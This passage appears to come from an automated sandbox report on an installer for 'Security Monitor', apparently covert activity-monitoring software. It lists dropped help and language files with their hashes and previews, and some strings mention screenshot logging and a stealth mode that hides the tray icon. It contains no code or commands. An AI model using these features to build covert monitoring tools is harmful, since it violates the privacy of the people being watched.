SHA-256:	718470BBCEF949095939C54CECB91D117D255A5279D55A204664CE52D1235180
SHA-512:	91C452D52360B231869031CB61255E83AF5D95D0F8C3A2AA0419AF659766E6E1CF4FD16FCE7C85A5EA5164E05C84282D0AA019FCAD85E292BE6D71400FA5D88E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f315\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64122
Entropy (8bit):	5.005532059876539
Encrypted:	false
SSDEEP:	768:2NFM7S0LzLpzBDlmvMuLoPxsMOaWAebaTkPYxmjyzZNBPirmqCadCg0WOxuiOQYX:2N4Sqse5bhHsTs64pPIA98
MD5:	20DED089CE49980F6BA7C2DDFBB4A359
SHA1:	A80EB4246514293DC65C07621B04DB34434DA4FB
SHA-256:	7644F6129405227CC015DC574D41769A25B147A33792008A3BC97D6CA2B31F84
SHA-512:	6863BF40030EE2FA1274103F637F1C8BD0601C5CF9C4EBE6684F13B7F1628B865D7297D464DD623CE50F7C0DFAB9B52CB42E8E6F6843D859469377DBFE68E5B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}..{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}..{\f43\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000}@Wen

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7640
Entropy (8bit):	4.942902125699651
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y60yM4Nr2R7sB4OYWkXp+Mm:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6u
MD5:	58A7AD4E00C3C48CAC983EAB83D93722
SHA1:	16790F7FED7A5490C15C6A25CD9851B4953E4CF0
SHA-256:	AE872798A7D87EFC10BA3FC5FE65CB5539F84548163F6DB7278705CE4802A0D4
SHA-512:	D609EA322D6AEF1C3EF5E38C749B9C9D168F9865111ACB8F2408D752C20CCE5E5658CD08EB5D2FE79E4627FC0290B33B0D73858FCC821A9D9981009E27EA96C1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11086
Entropy (8bit):	4.962530121956413
Encrypted:	false
SSDEEP:	192:R2KwSyFd222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jl9ju9jV9j19j/9jX9C:Mrpd222K2a2O2G2y2E2+2L6z6C6D6E6h
MD5:	74D21CC581EFD9F3D31C02D2AD6A7881
SHA1:	701EEEA34850D7EE69EFF56E2344A79A7EAD147E
SHA-256:	9F632C17885E51A74C7875780F422952F1BC64DB978D8EBA765251F692C603E3
SHA-512:	97EC2913358966E62D5D69BD63D0D3C378457BE371702957F25358BAB2DD1C514F92AF769C4FA1A1A4CD3B23F1F7C0358E7B838CC80163CF78775634D4CAC8A4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Tahoma;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f9\fnil\fprq2\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Times New Roman;}{\f12\fnil\fprq0\fcharset128 Courier New Baltic;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af8\langfe2052\dbch\af9\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	17786
Entropy (8bit):	4.892369802650086
Encrypted:	false
SSDEEP:	384:TQ5h222K2a2O2G2y2E2+2L6z+CSD6E+fSE6O+YSY6z+CSD6E+fSE6O+YSS6z6C6w:TQ5h7HvTrbVLWsXixqh/1JsXixqh/1X+
MD5:	B7BE54FA07192D11B0624600C99D449E
SHA1:	372509E74C98F5BAE5A50088B4AA1B18711C834F
SHA-256:	0F599243F6282C72AAC90EEF278B4F7BD5B78161508E494ABAC24E719702DDDB
SHA-512:	20C131AE058B058F60D97E21D7E49BAB6FEC975229AFF7302F6559975CEA91F81130F8D1C15E7200A53A61AFB935FE7B3D608838AA0190A42D09D02C168CFE1C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Calibri;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\froman\fprq2\fcharset128 Calibri;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Times New Roman;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red255\green0\blue0;\red0\green32\blue96;\red35\green0\blue220;\red0\green69\blue134;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Pr

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7884
Entropy (8bit):	4.965317939103163
Encrypted:	false
SSDEEP:	192:zersYRcg17pzo2uz1FwLcxwSwbzUPhjNAqecUAySMnuturWGi:ZYf7doz1FwLcxwSwnUPhxAqecUAyLuIA
MD5:	83F331C3191915043D3C1F96D04AD2AA
SHA1:	1F5A281457AD229178ADFE68E6ED3C407DD15BA5
SHA-256:	864E70E0CBF1CBB5EF7B65EC5A90D617D299A0C896E17EA6C973BF5D0F44ADA0
SHA-512:	C047F469B1A5BF82D88443D33B1B26AA30B4CB1E5C8A515119B5D62B3D98C4761830761D0813994DAA9BDE86BB7F73ABF47ADDE25A74D6FCEA05D5F0E0E779B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Times New Roman;}{\f8\froman\fprq0\fcharset128 Times New Roman;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq2\fcharset128 Arial;}{\f13\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af9\dbch\af10\afs28\loch\f4\fs28 Intestazione;}.{\s16\sba

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10281
Entropy (8bit):	4.953685836066729
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9S:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Z
MD5:	8D669B205AF7D1401C340D474FADE116
SHA1:	C61F519EF768F519E93F456D61FCEFE93EF1A058
SHA-256:	2B01786D3BA405BAA36920EF092701AF28CEA08F56507D4DE9717D47474C3B65
SHA-512:	0697175789BE81C29F0FBB5DD815FB46B553A6D241D8936C0E29F95D23651A2B730A893B98C90F6F3494B93FF0144F05DE95DB24D089EC01084C0FC8E36B3F70
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	9031
Entropy (8bit):	4.942487008032181
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9v:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6Q
MD5:	140A646744F5CA2B77DC3CCAB81BE3E9
SHA1:	57D15787E167C9284D0A57DE074749A8A10D6267
SHA-256:	FACA864E826FC4333E1C6D8726C97446A824856214E302B154757A0071BB0666
SHA-512:	F00406EA7C8EDA722707892A86C72A1331F1DEB007A78F34CC27A3B6175D3737AF9DA542F926313644B1CF0D8BAE087529196DBEEC4C7AE6EA3BCD5CE42D0F0F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10229
Entropy (8bit):	4.949701462728225
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9z:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6o
MD5:	328B6D1A72880E42399A6A9FAAE89707
SHA1:	B90F232CBADDD083D3E72EED57B362DBB5BB6B89
SHA-256:	731252A5DD9F5F1D6BAF95F06B86795064735EF2EDB2A7B0A0400535B28FB1C2
SHA-512:	70D96DB14DF3EA083AF7512998DBD565CD5DDEFDA0CB61A3378B9563642CB5FACD4D80A70763A454BE7B7BF4AA28A60C9B31AF7916066C9E56C5DB1A6F3D93D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\fswiss\fprq0\fcharset128 Calibri;}{\f6\froman\fprq0\fcharset128 Tahoma;}{\f7\froman\fprq0\fcharset128 Calibri;}{\f8\froman\fprq2\fcharset128 Arial;}{\f9\froman\fprq0\fcharset128 Arial;}{\f10\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f11\fnil\fprq2\fcharset128 Lohit Hindi;}{\f12\fnil\fprq0\fcharset128 Lohit Hindi;}{\f13\fnil\fprq0\fcharset128 Times New Roman;}{\f14\fnil\fprq0\fcharset128 Courier New Baltic;}{\f15\fnil\fprq2\fcharset128 Arial;}{\f16\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af10\langfe2052\dbch\af11\afs24\alang1081\loch\f3\fs24\lang1040

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40044
Entropy (8bit):	5.023249387110861
Encrypted:	false
SSDEEP:	768:2rF4DO6xByF3LSVj1BgpGk1WhhIHRYRv0lsSTz3BAbZ/6A9u:2raDlZIA9u
MD5:	994EC92B482BB93D1038B2F931B60AA4
SHA1:	130934CF53D1215C4955232421AB44C7CCD1F95B
SHA-256:	9A48D1986A44E9021CE072DE9A9D542357048ABBE6807E4CA151661708969D3C
SHA-512:	5F2424B1B38FC0939FDCF6C29A72067174CB49FC4F97C6CE284570984047B4D5CFBDBB84D63F619DF24B8EAF070FAC3EE71858CD7D9536F5C7920A0AACA895E1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\japan.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20198
Entropy (8bit):	5.546409615191028
Encrypted:	false
SSDEEP:	384:UZbTxZJZoqbCXEgYNOZFnXzLlWQIrNacguCX:UBsFXz5W1NaOCX
MD5:	CBEC3F081899B6B55B280D8F3DD4B3D2
SHA1:	F340F12DD49A6F6D2E20999788430A6951E7950B
SHA-256:	95C2CF8B3687D4EE57D51E982684660264A443D0AE516F6144728AC0C77FFCE4
SHA-512:	F4C7027A5BEDBC2F6E44DA52F59B35FAC8A3657DB9796F9B8BE4B660D25083544597ED525EEADD2B9373325E3E6FD83BD9736BAA8E50187F5F8CCFF989D6A140
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="...."..tbStartHint=".........."..tbStop="...."..tbStopHint=".........."..tbFind="...."..tbFindHint="........."..tbSetting=".."..tbSettingHint="........"..tbAbout="...."..tbAboutHint=".... /...."..tbHomePage="......"..tbHomePageHint="................"..tbToday=".."..tbTodayHint="........"..tbHide=".."..tbHideHint="....... (..................)"..tbMinimize="....."..tbMinimizeHint="........."..tbExit=".."..tbExitHint=".........."..gbLog=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\korean.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17281
Entropy (8bit):	5.761139641515786
Encrypted:	false
SSDEEP:	384:fA4WN9lOQy166uXz7tw7ROcW70cfgjqiK3xuaMV4Q:fAfy1LuntiROcWLNuaMVt
MD5:	BAF8BBC333EA4877FF98E6EC0437E18F
SHA1:	43FE338508BA6B1E59B5B0D21A641DEB4F887F82
SHA-256:	32CAC64ABA0B7BEC0C48D76CE6D6C3695E241173CAD408C4F2F220CB5AE6A87B
SHA-512:	5E2ED8A0DF57200E7FD2FF5F1F21041A3800AE92C66B550B91116D0E50685C3602467C738601D071049B1D3E74ED92DB2DAE5CE6D33F9776F8C2F62AA2E36C1E
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=".."..tbStartHint=".. .."..tbStop=".."..tbStopHint=".. ...."..tbFind=".."..tbFindHint=".. .. .."..tbSetting=".."..tbSettingHint=".... .."..tbAbout=".."..tbAboutHint=".. / .. .."..tbHomePage="...."..tbHomePageHint=".... ..... .."..tbToday=".."..tbTodayHint=".. ... .."..tbHide=".."..tbHideHint="... .. (... .... ... .. ..)"..tbMinimize="..."..tbMinimizeHint=".... ..."..tbExit=".."..tbExitHint=".... .. .."..gbLog="... .."..tCurrLogSize=".. .. (Mb)"..tCurrScrSize=".... .. (Mb)"..tCurrSnpSize=".. .

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19350
Entropy (8bit):	4.977328299832863
Encrypted:	false
SSDEEP:	192:UfZj6oFtyWJJJuou35vzX6FcNnAy9+1C9ou8drw+MjKcEdQAi2jC+WUH:UfZj6oFtyWXRybX6Ad4C9q+pEdbvXx
MD5:	05104FA93BC4180DCD6752F77382F263
SHA1:	2A83710D4B63BF666D681D3F5E9C21324EB2581C
SHA-256:	A2150D0BBC660122C1C183FCA420CFAAE7539956F20BA135DEC4655B3B212A6E
SHA-512:	54ACDEAB94D389256C90FFB31934AE0182D7CB4F644CA671EE5F9599697357244B7F2F9CEA33D3CBE70463615389BF02E148818F99E9513DAF9A4D44B05913CD
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="In.cio"..tbStartHint="Habilitar registro"..tbStop="Parar"..tbStopHint="Desabilitar registro"..tbFind="Buscar"..tbFindHint="Procurar por informa..o de registro"..tbSetting="Configura..es"..tbSettingHint=" Configura..es de programa"..tbAbout="Sobre"..tbAboutHint="Sobre / informa..es de registro"..tbHomePage="P.gina Inicial"..tbHomePageHint="Ir para a P.gina Inicial do Programa"..tbToday="Hoje"..tbTodayHint="Ir para o registro de hoje"..tbHide="Ocultar"..tbHideHint="Modo Furtivo (nenhum .cone na Bandeja do Sistema)"..tbMinimize="Minimizar"..tbMinimizeHint="Minimizar Bandeja"..tbExit="Sair"..tbExitHint="Sair e parar o registro"..gbLog="Registro de Eventos"..tCurrLogSize="Tamanho do Log - Registro (Mb)"..tCurrScrSize=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47337
Entropy (8bit):	5.026858098463381
Encrypted:	false
SSDEEP:	768:xaOfIRjZyPCtqICnfLBOHjiqlO8DTO+6X9MsHEW71vUGF87etnC+zc7R+ezr21gQ:xapnVMNkfS
MD5:	F4E08AB548997A7569D407BF6945FF93
SHA1:	374C962B0AD68A101B3DAED59995A904FD2366DF
SHA-256:	5F43BA173258F401DEBA2C385FC136464F11F0BF9C9122D5CB1EDDBBA356D24F
SHA-512:	9F6F81663CCC54ED4B6E57770247EBDE16327C46ACFE14EF01BC3CF1172D9647AFDBED40FA59115DD41BA746428368A34C4307AA4D7B0093C88D86F8C4BAA982
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40154
Entropy (8bit):	5.0200796695222865
Encrypted:	false
